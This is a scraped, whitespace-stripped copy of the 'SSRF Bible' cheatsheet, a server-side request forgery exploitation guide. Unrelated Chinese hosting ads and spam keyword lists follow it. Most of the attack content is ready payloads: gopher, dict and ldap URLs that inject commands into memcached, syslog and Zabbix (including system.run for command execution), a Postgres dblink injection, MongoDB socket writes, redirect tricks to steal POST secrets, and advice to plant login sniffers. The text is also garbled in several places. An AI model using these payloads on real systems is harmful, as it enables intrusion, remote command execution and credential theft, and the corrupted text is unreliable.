SSRFbible.Cheatsheet

pastebin.com  时间:2021-04-05  阅读:()

Ifyouhaveanyquestions,pleaseposttheminthecomments!
Revision1.
026august2014Authors:@ONsec_Labhttp://lab.
onsec.
ru[ENG]@Wallarmresearchteamblog.
wallarm.
com1TableofcontentsTableofcontentsBasicsTypicalattackstepsFileDescriptorsexploitationwayURLschemasupportProtocolsSSRFsmugglingSmugglingexamplesApachewebserverHTTPparserNginxwebserverHTTPparserVulnerabilitiesBasicsExamplesGoogleDocsZeroNightshackquestchallengeExploitationtricksBypassingrestrictionsInputvalidationUnsaferedirectDNSpinningPHPfsockopen()urlparsingtricksNetworkrestrictionsProtocolfingerprintingExamplesHTTPMemcachedRetrievingdataExamplesHTTPresponseencapsulationintoXMLformattedresponse2ConsolecURLwildcardsURLresponsesconcatenationSMBRelayexploitationOriginalrequestdatasniffingExamplesMemcachedExploitsPHPFPMSyslogExploitsZabbixagentdExploitsPostgresExploitsMongoDBCouchDBExploitsFFmpegReferencesToolsResearches3BasicsSSRFServerSideRequestForgeryattacks.
Theabilitytocreaterequestsfromthevulnerableservertointra/internet.
UsingaprotocolsupportedbyavailableURIschemas,youcancommunicatewithservicesrunningonotherprotocols.
Herewecollectthevariousoptionsandexamples(exploits)ofsuchinteraction.
Seeforintroductionrelatedresearches.
Typicalattacksteps1.
Scaninternalnetworktodetermineinternalinfrastructurewhichyoumayaccess2.
Collectopenedportsatlocalhostandotherinternalhostswhichyouwant(basicallybytimebaseddetermination)3.
Determineservices/daemonsonportsusingwikiordaemonsbanners(ifyoumaywatchoutput)4.
DeterminetypeofyouSSRFcombination:Directsocketaccess(suchasthisexample)Socketsclient(suchasjavaURI,cURL,LWP,others)5.
IncaseofdirectsocketaccessdetermineCRLFandotherinjectionsforsmuggling6.
Incaseofsocketsclient,determineavailableURIschemas7.
Compareavailableschemasandservices/daemonsprotocolstofindsmugglingpossibilities8.
DeterminehostbasedauthdaemonsandtrytoexploititFileDescriptorsexploitationwayUsefulinclouds,sharedhostingsandotherslargeinfrastructures.
Firstreadslides2021aboutFDsand2223aboutProcFSfromthispaper.
TherearethreewaystoaccesstoFDs:InterpretersAPI(suchasfd://wrapperforPHP)IftherearenosuchAPIorrequiredfunctionsdisabled,youcantrytoloadnativeextension:PHP(requiredlopen,butnotexec):https://github.
com/dhotson/fdopenphpexec()callfromAPI(suchasexec('echo123>&'))youmayaccessonlyFDswithoutO_CLOEXECflag.
CprogramtoscanavailableFDsishere:https://github.
com/ONsecLab/scripts/blob/master/listopenfd.
c.
ProcFSfiles(/proc//fd/)*Note,thatyoucannotaccesstosocketsthrough/proc//fd/files!
4URLschemasupportPHPJavacURLLWPASP.
NET1gopherenablebywithcurlwrappersbeforelastpatchesw/o\0char+ASP.
NETloadXML($resp)//echo$resp.
"nn"echo$doc>getElementsByTagName("error")>item(0)>nodeValueif(libxml_get_errors()!
=null){print_r(libxml_get_errors())}>10ExploitationtricksBypassingrestrictionsBasicallyrestrictionswhichyoumayfindinSSRFexploitationcanbesplitintotwogroups:Inputvalidation(suchasregularexpressionURLfilter)Networkrestrictions(firewallsrules)InputvalidationUnsaferedirectEasywaytobypassinputvalidationisURLredirection.
HTTPclientsnotabrowsers.
Therearenormallytodounsaferedirect(exceptofJavacase).
WorksfineforcURL,LWP,ASP.
NET(exploit:http://anyhostwithredirest.
com/>gopher://localhost:11211/1stats%0aquit).
DNSpinningTobypassdomainvalidationyoumaysimpleusepinningtechnique.
Forexample,defineAorAAAArecordsonyourDNSservertoyoursubdomainsintovictim'sintranet:$nslookuplocal.
oxod.
ruNonauthoritativeanswer:Name:local.
oxod.
ruAddress:127.
0.
0.
13.
php]]>//validfooterforreadableformat15SMBRelayexploitationThistechniquedescribedinrelatedresearch"SSRF+Java+Windows=Love".
IncaseofJavabasedapplicationonOSWindowstarget,attackercanexecuteanNTLMrelayattackoverHTTP.
It'spossiblebecauseJavahasaninternalHTTPclient,whichsupportsNTLMauthenticationbydefault.
OriginalrequestdatasniffingInmanycasesthereareusefultosniffdataofinitialrequestusingSSRF.
ItsmaybeOAuthtokens,basicauthcredential,POSTbodiesandothers.
Thisproblemcanbesolvedifyouhavetheabilitytomodifytheserver'sresponse.
Youmustbeinfluencetheresponsefromaoneserver,onreceiptofarequestfromanotherserver.
Itwilllooklikeopenredirect(WASC38)orresponsesplitting/smuggling(WASC25,WASC27),butthereareserver'shttplibrarysuchascURLinsteadoftheuser'sbrowser.

307HTTPstatus(TemporaryRedirectExplained)andotherscanbeusedtoretrieveoriginalPOSTbody.
TableofPOSTredirection:Lib/Status300301302303304305306307308cURLOKOKOKOKLWPPHP16Example:$url="http://localhost/tests/redir.
phps={$_GET['s']}&r=http://localhost:8000/"$ch=curl_init($url)curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1)curl_setopt($ch,CURLOPT_POST,1)curl_setopt($ch,CURLOPT_POSTFIELDS,"key=secret")$resp=curl_exec($ch)Youcansteal"key=secret"databyusingopenredirectvulnerabilitywithresponsestatuses300,305,306,307orbyhttpresponsesplitting/httpheaderinjectionvulnerabilities.
AndtherearenowaystostealsecretinLWPcase:usestrictusewarningsmy$b=LWP::UserAgent>newmy$u='http://localhost/tests/redir.
phps=307&r=http://localhost:8000/a'$b>post($u,{'key'=>'secret'})17ExamplesSSRFalsoopenagatetovariousNoSQLattackssuchasServerSideJavaScriptinjections.
MemcachedProtocoldocumentation:https://github.
com/memcached/memcached/blob/master/doc/protocol.
txtExploitationsteps:1.
collectallkeys2.
determineinterestingkeys3.
replacekey'svaluestoarbitraryExploitationstechniques:FindHTMLtemplatesandinjectJSloginsniffertocollectlogin/passwordsFinddynamictemplates(macros,PHP,others)andinjectarbitrarycode(RCE)FindyoursessionandescalateyourprivilegesCreatenewsessionwithlongexpirationandsetadminprivilegesExploitsgopher://localhost:11211/1%0astats%0aquitdict://locahost:11211/statsldap://localhost:11211/%0astats%0aquit18PHPFPMExploitlocalinstallationtobypassrestrictionssuchassafe_modeandothershttp://pastebin.
com/XP2BYmR7SyslogTypicallyUDPbutreallycommonlistenonTCPport514.
Youmayaddstringstosyslogeasily.
Exploithttp://stringthatyouwanttoadd.
evil.
com:514/FirstconfigureDNStoresolvestringthatyouwanttoadd.
evil.
comas127.
0.
0.
1HTTPrequest:GET/aHTTP/1.
1Host:stringthatyouwanttoadd.
evil.
com:8000Connection:KeepAliveSyslogentities:Nov2300:53:50localhostHost:stringthatyouwanttoadd.
evil.
com:8000#015Nov2300:53:50localhostConnection:KeepAlive#015Nov2300:53:50localhost#015CRLFinjectionmakesyslogentitiesmoreclear(seebelow).
Exploitsdict://localhost:514/ALARM!
!
!
ldap://localhost:514/\r\nALARM!
!
!
(LWPonly)Syslogentities:Nov2300:53:50localhostALARM!
!
!
#01519ZabbixagentdZabbixisverycommonmonitoringsystem.
Monitoredserversrunningzabbix_agentdbinarywhichconfiguredby/etc/zabbix/zabbix_agentd.
conffile.
Defaultlistenedportis10050.
Zabbixagentdhaveonlyhostbasedauthorization,describedinconfigfile:Server=127.
0.
0.
1,monitor.
trusted.
network.
netTherearetypicallytoinclude127.
0.
0.
1intoauthorizedserversbydebuggingreasonsandbydefault.
Agentdprotocolisplain/textandsimple:"\n"usingaslineterminatorandpacketformatis"item[key]".
Allavailableitemslistedbelow:http://www.
zabbix.
com/documentation/1.
8/manual/config/items.
Zabbixagentdclosesocketafterfirstmalformedline(requestunexistingkeyforexample).
Soyoucan'tusesmugglingiffirstlineofrequestisnotcontrolledbyyou.
Sometimesagentdconfiguredtorunarbitrarycommandsfromservers(itemsystem.
ruusedtoruncommandsfromkeyargument):EnableRemoteCommands=1Exploitsgopher://localhost:10050/1vfs.
file.
regexp[/etc/hosts,7]Serverresponse:ZBXD127.
0.
0.
1localhostads.
localhostlocalhost.
vvasd.
localhost.
vvgopher://localhost:10050/1system.
run[ls]Serverresponse:ZBXD,usretcvarboot20PostgresAnyfunctionswhichcanopensocketsandwriteuser'sdataintoitcanbeexploitedforSSRF.
Suchasfunctionstoexternaldatabaseconnectionswhichprovidedbyallmoderndatabases(DB2/Oracle/Postgres/etc).
AttackermayusethisfunctionsthroughSQLinjectiontoexploitanythinginintranet.
DBLINKdesciption:http://www.
postgresql.
org/docs/8.
4/static/dblink.
html.
Syntaxofconnectionstringavailablehere:http://www.
postgresql.
org/docs/8.
4/static/libpqconnect.
htmlExploitsSELECTdblink_send_query('host=127.
0.
0.
1dbname=quituser=\'\nstats\n\'password=1port=11211sslmode=disable','selectversion()')MongoDBAttackermayusedifferentinternalfunctions,suchascopyDatabase()andotherstoopenarbitrarysocketandputsarbitrarydataintoit.
ExploitsWritebinarydataintosocket:>db.
copyDatabase("\1\2\3\4\5\6\7",'test','localhost:8000')$ncl8000|hexdumpC000000003b0000002800000000000000d4070000|.
0000001000000000010203040506072e73797374syst|00000020656d2e6e616d65737061636573000000|em.
namespaces.
.
.
|Communicatewithmemcached:>db.
copyDatabase("\nstats\nquit",'test','localhost:11211')21CouchDBCouchDBisreallycooltargetforSSRFattacks.
ThereareHTTPRESTAPIwhichprovideattackertoexploititusingonlyvalidHTTPrequestswithoutanysmuggling.
APIdetails:http://wiki.
apache.
org/couchdb/Complete_HTTP_API_Reference.
POST/PUT/DELETErequestsmaybeforgedalsobysmugglingtechniquestoexecuteserversideJScodeforexample.

Hostinger 限时外贸美国主机活动 低至月12元且赠送1个COM域名

Hostinger 商家我们可能一些新用户不是太熟悉,因为我们很多新人用户都可能较多的直接从云服务器、独立服务器起步的。而Hostinger商家已经有将近十年的历史的商家,曾经主做低价虚拟主机,也是比较有知名度的,那时候也有接触过,不过一直没有过多的使用。这不这么多年过去,Hostinger商家一直比较稳妥的在运营,最近看到这个商家在改版UI后且产品上也在活动策划比较多。目前Hostinger在进...

JUSTG提供俄罗斯和南非CN2 GIA主机年$49.99美元JUSTGgia南非cn2南非CN2justG

JUSTG,这个主机商第二个接触到,之前是有介绍到有提供俄罗斯CN2 GIA VPS主机活动的,商家成立时间不久看信息是2020年,公司隶属于一家叫AFRICA CLOUD LIMITED的公司,提供的产品为基于KVM架构VPS主机,数据中心在非洲(南非)、俄罗斯(莫斯科),国内访问双向CN2,线路质量不错。有很多服务商实际上都是国人背景的,有的用英文、繁体搭建的冒充老外,这个服务商不清楚是不是真...

A2Hosting三年付$1.99/月,庆祝18周年/WordPress共享主机最高优惠81%/100GB SSD空间/无限流量

A2Hosting主机,A2Hosting怎么样?A2Hosting是UK2集团下属公司,成立于2003年的老牌国外主机商,产品包括虚拟主机、VPS和独立服务器等,数据中心提供包括美国、新加坡softlayer和荷兰三个地区机房。A2Hosting在国外是一家非常大非常有名气的终合型主机商,拥有几百万的客户,非常值得信赖,国外主机论坛对它家的虚拟主机评价非常不错,当前,A2Hosting主机庆祝1...

pastebin.com为你推荐
微盟赔付方案商品房的赔付办法是什么microcenter微电子专业在国外叫什么百度爱好者学农业有前途吗?有经验人士谈一下. 动物科学专业怎样?12306崩溃为什么12306进不去7788k.com以前有个网站是7788MP3.com后来改成KK130现在又改网站域名了。有知道现在是什么域名么?www.6vhao.com有哪些电影网站机器蜘蛛有谁知道猎人的机械蜘蛛在哪捉的xvideos..comxvideos 怎么下载网页源代码什么是网页源代码!打开网页后怎么找?云鹏清身患哮喘疾病时间较长,怎样才能治好
stablehost 新加坡服务器 网盘申请 hostker 可外链相册 台湾谷歌 申请网页 中国域名 腾讯网盘 域名和主机 阿里云邮箱怎么注册 海外加速 weblogic部署 卡巴斯基免费版下载 let ddos攻击工具 次世代主机 次时代主机 最年轻博士 宿迁服务器托管 更多